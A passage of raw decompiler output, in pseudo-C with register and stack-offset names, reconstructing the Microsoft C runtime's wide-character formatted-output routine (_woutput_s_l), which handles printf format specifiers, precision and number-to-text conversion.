																		while(1) {
																			L187:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L212;
																			}
																			goto L188;
																		}
																	}
																	L66:
																	_t141 =  *(__ebp - 0x4ec) + 0x43caf0; // 0xcccccc0d
																	__eax =  *_t141 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M0043CAB4))) {
																		case 0:
																			L120:
																			 *(__ebp - 0x2c) = 1;
																			 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			 *(__ebp - 0x454) = __ax;
																			goto L121;
																		case 1:
																			L67:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000020;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			goto L69;
																		case 2:
																			L82:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			__eflags =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) | 0x00000020;
																				__eflags = __ecx;
																				 *(__ebp - 0x10) = __ecx;
																			}
																			goto L84;
																		case 3:
																			L143:
																			 *(__ebp - 0x460) = 7;
																			goto L145;
																		case 4:
																			L75:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x474) = E00428400(__ebp + 0x14);
																			__eflags =  *(__ebp - 0x474);
																			if( *(__ebp - 0x474) == 0) {
																				L77:
																				__edx =  *0x440f80; // 0x404478
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
																				L81:
																				goto L187;
																			}
																			L76:
																			__ecx =  *(__ebp - 0x474);
																			__eflags =  *(__ecx + 4);
																			if( *(__ecx + 4) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				__eflags =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L81;
																			}
																			goto L77;
																		case 5:
																			L121:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x44) = 0x200;
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) >= 0) {
																				L123:
																				__eflags =  *(__ebp - 0x30);
																				if( *(__ebp - 0x30) != 0) {
																					L126:
																					__eflags =  *(__ebp - 0x30) - 0x200;
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L128:
																					__eflags =  *(__ebp - 0x30) - 0xa3;
																					if( *(__ebp - 0x30) > 0xa3) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B960( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						__eflags =  *(__ebp - 0x20);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__edx =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__edx =  *(__ebp + 0x14);
																					__eax =  *(__edx - 8);
																					__ecx =  *(__edx - 4);
																					 *(__ebp - 0x490) =  *(__edx - 8);
																					 *(__ebp - 0x48c) =  *(__edx - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AEF0(__ebp - 0x40));
																					__edx =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__eax =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__ecx =  *(__ebp - 0x454);
																					_push( *(__ebp - 0x454));
																					__edx =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx = __ebp - 0x490;
																					_push(__ebp - 0x490);
																					__edx =  *0x440374; // 0xd5b65caa
																					E00424760(__edx) =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																						__eflags =  *(__ebp - 0x30);
																						if( *(__ebp - 0x30) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AEF0(__ebp - 0x40));
																							__ecx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__edx =  *0x440380; // 0xd44284aa
																							E00424760(__edx) =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__eax =  *(__ebp - 0x454) & 0x0000ffff;
																					__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																					if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						__eflags =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AEF0(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x44037c; // 0xd44114aa
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *(__ebp - 4);
																					__edx =  *( *(__ebp - 4));
																					__eflags =  *( *(__ebp - 4)) - 0x2d;
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						__ecx =  *(__ebp - 4);
																						__ecx =  *(__ebp - 4) + 1;
																						__eflags = __ecx;
																						 *(__ebp - 4) = __ecx;
																					}
																					__edx =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DEC0( *(__ebp - 4));
																					do {
																						L187:
																						__eflags =  *(__ebp - 0x28);
																						if( *(__ebp - 0x28) != 0) {
																							goto L212;
																						}
																						goto L188;
																					} while ( *(__ebp - 0x4ec) > 0x37);
																					goto L66;
																				}
																				L124:
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																				if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																					goto L126;
																				}
																				L125:
																				 *(__ebp - 0x30) = 1;
																				goto L128;
																			}
																			L122:
																			 *(__ebp - 0x30) = 6;
																			goto L128;
																		case 6:
																			L69:
																			 *(__ebp - 0xc) = 1;
																			__ebp + 0x14 = E00428400(__ebp + 0x14);
																			 *(__ebp - 0x458) = __ax;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			__eflags = __ecx;
																			if(__ecx == 0) {
																				__cx =  *(__ebp - 0x458);
																				 *(__ebp - 0x448) = __cx;
																			} else {
																				 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																				 *(__ebp - 0x470) = __dl;
																				 *((char*)(__ebp - 0x46f)) = 0;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AEF0(__ebp - 0x40);
																				__ecx = __ebp - 0x40;
																				E0041AEF0(__ebp - 0x40) =  *__eax;
																				__ecx =  *(__ebp - 0x448 + 0xac);
																				__edx = __ebp - 0x470;
																				__eax = __ebp - 0x448;
																				__eax = E0043B630(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448);
																				__eflags = __eax;
																				if(__eax < 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																		case 7:
																			L141:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L150;
																		case 8:
																			L106:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x484) = E00428400(__ebp + 0x14);
																			__eax = E00433FB0();
																			__eflags = __eax;
																			if(__eax != 0) {
																				L116:
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0x00000020;
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					__ecx =  *(__ebp - 0x484);
																					__edx =  *(__ebp - 0x44c);
																					 *__ecx =  *(__ebp - 0x44c);
																				} else {
																					__edx =  *(__ebp - 0x484);
																					__ax =  *(__ebp - 0x44c);
																					 *( *(__ebp - 0x484)) = __ax;
																				}
																				 *(__ebp - 0x28) = 1;
																				while(1) {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			}
																			L107:
																			__ecx = 0;
																			__eflags = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x4f4) = 0;
																			} else {
																				 *(__ebp - 0x4f4) = 1;
																			}
																			__edx =  *(__ebp - 0x4f4);
																			 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																			__eflags =  *(__ebp - 0x488);
																			if( *(__ebp - 0x488) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E420();
																				__esp = __esp + 0x14;
																				__eflags = __eax - 1;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			__eflags =  *(__ebp - 0x488);
																			if( *(__ebp - 0x488) != 0) {
																				L115:
																				while(1) {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			} else {
																				L114:
																				 *((intOrPtr*)(L00422F10(__ecx))) = 0x16;
																				__eax = E00422CA0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x4cc) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AEC0(__ecx);
																				__eax =  *(__ebp - 0x4cc);
																				goto L225;
																			}
																		case 9:
																			L148:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx =  *(__ebp - 0x10);
																				__edx =  *(__ebp - 0x10) | 0x00000200;
																				__eflags = __edx;
																				 *(__ebp - 0x10) = __edx;
																			}
																			L150:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428400(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428400(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428400(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																							 *(__ebp - 0x49c) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428400(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x4a0) = __eax;
																							 *(__ebp - 0x49c) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00428420(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x4a0) = E00428420(__ebp + 0x14);
																				 *(__ebp - 0x49c) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L167;
																			}
																		case 0xa:
																			goto L0;
																		case 0xb:
																			L84:
																			__eflags =  *(__ebp - 0x30) - 0xffffffff;
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x4f0) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x4f0);
																			 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E00428400(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				L98:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__ecx =  *0x440f84; // 0x404468
																					 *(__ebp - 4) = __ecx;
																				}
																				 *(__ebp - 0xc) = 1;
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x480) =  *(__ebp - 4);
																				while(1) {
																					L101:
																					__eax =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c) - 1;
																					 *(__ebp - 0x47c) = __ecx;
																					__eflags =  *(__ebp - 0x47c);
																					if( *(__ebp - 0x47c) == 0) {
																						break;
																					}
																					L102:
																					__edx =  *(__ebp - 0x480);
																					__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					__eflags =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L103:
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				}
																				L104:
																				__edx =  *(__ebp - 0x480);
																				__edx =  *(__ebp - 0x480) -  *(__ebp - 4);
																				__eflags = __edx;
																				 *(__ebp - 0x24) = __edx;
																				goto L105;
																			} else {
																				L88:
																				__eflags =  *(__ebp - 4);
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f80; // 0x404478
																					 *(__ebp - 4) = __eax;
																				}
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x478) = __ecx;
																				 *(__ebp - 0x24) = 0;
																				while(1) {
																					L92:
																					__eax =  *(__ebp - 0x24);
																					__eflags =  *(__ebp - 0x24) -  *(__ebp - 0x47c);
																					if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																						break;
																					}
																					L93:
																					__ecx =  *(__ebp - 0x478);
																					__edx =  *__ecx;
																					__eflags =  *__ecx;
																					if( *__ecx == 0) {
																						break;
																					}
																					L94:
																					__ecx = __ebp - 0x40;
																					E0041AEF0(__ebp - 0x40) =  *(__ebp - 0x478);
																					__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																					__eax = E004312C0( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478));
																					__eflags = __eax;
																					if(__eax != 0) {
																						__edx =  *(__ebp - 0x478);
																						__edx =  *(__ebp - 0x478) + 1;
																						__eflags = __edx;
																						 *(__ebp - 0x478) = __edx;
																					}
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					__edx =  *(__ebp - 0x24);
																					__edx =  *(__ebp - 0x24) + 1;
																					__eflags = __edx;
																					 *(__ebp - 0x24) = __edx;
																				}
																				L97:
																				L105:
																				while(1) {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				}
																			}
																		case 0xc:
																			L142:
																			 *(__ebp - 8) = 0xa;
																			while(1) {
																				L150:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																				__eflags =  *(__ebp - 0x10) & 0x00008000;
																				if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																					__eflags =  *(__ebp - 0x10) & 0x00001000;
																					if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																						__eflags =  *(__ebp - 0x10) & 0x00000020;
																						if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								__eax = E00428400(__ebp + 0x14);
																								__edx = 0;
																								__eflags = 0;
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = 0;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428400(__ebp + 0x14);
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = __edx;
																							}
																						} else {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								E00428400(__ebp + 0x14) = __ax & 0x0000ffff;
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																								 *(__ebp - 0x49c) = __edx;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428400(__ebp + 0x14);
																								__ax = __eax;
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = __edx;
																							}
																						}
																					} else {
																						__eax = __ebp + 0x14;
																						 *(__ebp - 0x4a0) = E00428420(__ebp + 0x14);
																						 *(__ebp - 0x49c) = __edx;
																					}
																				} else {
																					__ecx = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00428420(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					goto L167;
																				}
																				goto L163;
																			}
																		case 0xd:
																			L144:
																			 *(__ebp - 0x460) = 0x27;
																			L145:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			__eflags =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx = 0x30;
																				 *(__ebp - 0x14) = __dx;
																				 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
																				__eflags =  *(__ebp - 0x460) + 0x51;
																				 *(__ebp - 0x12) = __ax;
																				 *(__ebp - 0x1c) = 2;
																			}
																			while(1) {
																				L150:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																				__eflags =  *(__ebp - 0x10) & 0x00008000;
																				if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																					__eflags =  *(__ebp - 0x10) & 0x00001000;
																					if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																						__eflags =  *(__ebp - 0x10) & 0x00000020;
																						if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								__eax = E00428400(__ebp + 0x14);
																								__edx = 0;
																								__eflags = 0;
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = 0;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428400(__ebp + 0x14);
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = __edx;
																							}
																						} else {
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																							__eflags =  *(__ebp - 0x10) & 0x00000040;
																							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																								__ecx = __ebp + 0x14;
																								E00428400(__ebp + 0x14) = __ax & 0x0000ffff;
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
																								 *(__ebp - 0x49c) = __edx;
																							} else {
																								__eax = __ebp + 0x14;
																								__eax = E00428400(__ebp + 0x14);
																								__ax = __eax;
																								asm("cdq");
																								 *(__ebp - 0x4a0) = __eax;
																								 *(__ebp - 0x49c) = __edx;
																							}
																						}
																					} else {
																						__eax = __ebp + 0x14;
																						 *(__ebp - 0x4a0) = E00428420(__ebp + 0x14);
																						 *(__ebp - 0x49c) = __edx;
																					}
																				} else {
																					__ecx = __ebp + 0x14;
																					 *(__ebp - 0x4a0) = E00428420(__ebp + 0x14);
																					 *(__ebp - 0x49c) = __edx;
																				}
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																				__eflags =  *(__ebp - 0x10) & 0x00000040;
																				if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																					goto L167;
																				}
																				goto L163;
																			}
																		case 0xe:
																			while(1) {
																				L187:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L212;
																				}
																				goto L188;
																			}
																	}
																case 8:
																	L24:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000002;
																	 *(__ebp - 0x10) = __ecx;
																	goto L27;
																case 9:
																	L25:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	goto L27;
																case 0xa:
																	L23:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																	goto L27;
																case 0xb:
																	L22:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	goto L27;
																case 0xc:
																	L26:
																	__eax =  *(__ebp - 0x10);
																	__eax =  *(__ebp - 0x10) | 0x00000008;
																	__eflags = __eax;
																	 *(__ebp - 0x10) = __eax;
																	goto L27;
																case 0xd:
																	L27:
																	goto L214;
															}
														} else {
															_t517 = 0;
															if(0 == 0) {
																 *(_t525 - 0x4dc) = 0;
															} else {
																 *(_t525 - 0x4dc) = 1;
															}
															 *(_t525 - 0x46c) =  *(_t525 - 0x4dc);
															if( *(_t525 - 0x46c) == 0) {
																_push(L"(\"Incorrect format specifier\", 0)");
																_push(0);
																_push(0x460);
																_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																_push(2);
																_t498 = L0041E420();
																_t527 = _t527 + 0x14;
																if(_t498 == 1) {
																	asm("int3");
																}
															}
															L14:
															if( *(_t525 - 0x46c) != 0) {
																goto L16;
															} else {
																 *((intOrPtr*)(L00422F10(_t510))) = 0x16;
																E00422CA0(_t501, _t510, _t523, _t524, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																 *(_t525 - 0x4c8) = 0xffffffff;
																E0041AEC0(_t525 - 0x40);
																_t483 =  *(_t525 - 0x4c8);
																L225:
																return E0042BD60(_t483, _t501,  *(_t525 - 0x48) ^ _t525, _t517, _t523, _t524);
															}
														}
													}
													L215:
													__eflags =  *(_t525 - 0x45c);
													if( *(_t525 - 0x45c) == 0) {
														L218:
														 *(_t525 - 0x4f8) = 1;
														L219:
														_t517 =  *(_t525 - 0x4f8);
														 *(_t525 - 0x4bc) =  *(_t525 - 0x4f8);
														__eflags =  *(_t525 - 0x4bc);
														if( *(_t525 - 0x4bc) == 0) {
															_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
															_push(0);
															_push(0x8f5);
															_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
															_push(2);
															_t488 = L0041E420();
															_t527 = _t527 + 0x14;
															__eflags = _t488 - 1;
															if(_t488 == 1) {
																asm("int3");
															}
														}
														__eflags =  *(_t525 - 0x4bc);
														if( *(_t525 - 0x4bc) != 0) {
															 *(_t525 - 0x4d4) =  *(_t525 - 0x44c);
															E0041AEC0(_t525 - 0x40);
															_t483 =  *(_t525 - 0x4d4);
														} else {
															 *((intOrPtr*)(L00422F10(_t502))) = 0x16;
															E00422CA0(_t501, _t502, _t523, _t524, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
															 *(_t525 - 0x4d0) = 0xffffffff;
															E0041AEC0(_t525 - 0x40);
															_t483 =  *(_t525 - 0x4d0);
														}
														goto L225;
													}
													L216:
													__eflags =  *(_t525 - 0x45c) - 7;
													if( *(_t525 - 0x45c) == 7) {
														goto L218;
													}
													L217:
													 *(_t525 - 0x4f8) = 0;
													goto L219;
												}
											}
											L184:
											__eflags =  *(__ebp - 0x24);
											if( *(__ebp - 0x24) == 0) {
												L186:
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												 *(__ebp - 4) =  *(__ebp - 4) - 1;
												__eax =  *(__ebp - 4);
												 *( *(__ebp - 4)) = 0x30;
												__ecx =  *(__ebp - 0x24);
												__ecx =  *(__ebp - 0x24) + 1;
												__eflags = __ecx;
												 *(__ebp - 0x24) = __ecx;
												goto L187;
											}
											L185:
											__eax =  *(__ebp - 4);
											__ecx =  *( *(__ebp - 4));
											__eflags = __ecx - 0x30;
											if(__ecx == 0x30) {
												goto L187;
											}
											goto L186;
										}
										L180:
										__eax =  *(__ebp - 8);
										asm("cdq");
										__ecx =  *(__ebp - 0x4a4);
										__edx =  *(__ebp - 0x4a8);
										__eax = E00430830( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8),  *(__ebp - 0x4a8));
										 *(__ebp - 0x494) = __eax;
										__eax =  *(__ebp - 8);
										asm("cdq");
										__eax =  *(__ebp - 0x4a4);
										__ecx =  *(__ebp - 0x4a8);
										 *(__ebp - 0x4a8) = E004308B0( *(__ebp - 0x4a8),  *(__ebp - 0x4a4),  *(__ebp - 8), __edx);
										 *(__ebp - 0x4a4) = __edx;
										__eflags =  *(__ebp - 0x494) - 0x39;
										if( *(__ebp - 0x494) > 0x39) {
											__edx =  *(__ebp - 0x494);
											__edx =  *(__ebp - 0x494) +  *(__ebp - 0x460);
											__eflags = __edx;
											 *(__ebp - 0x494) = __edx;
										}
										__eax =  *(__ebp - 4);
										 *( *(__ebp - 4)) =  *(__ebp - 0x494);
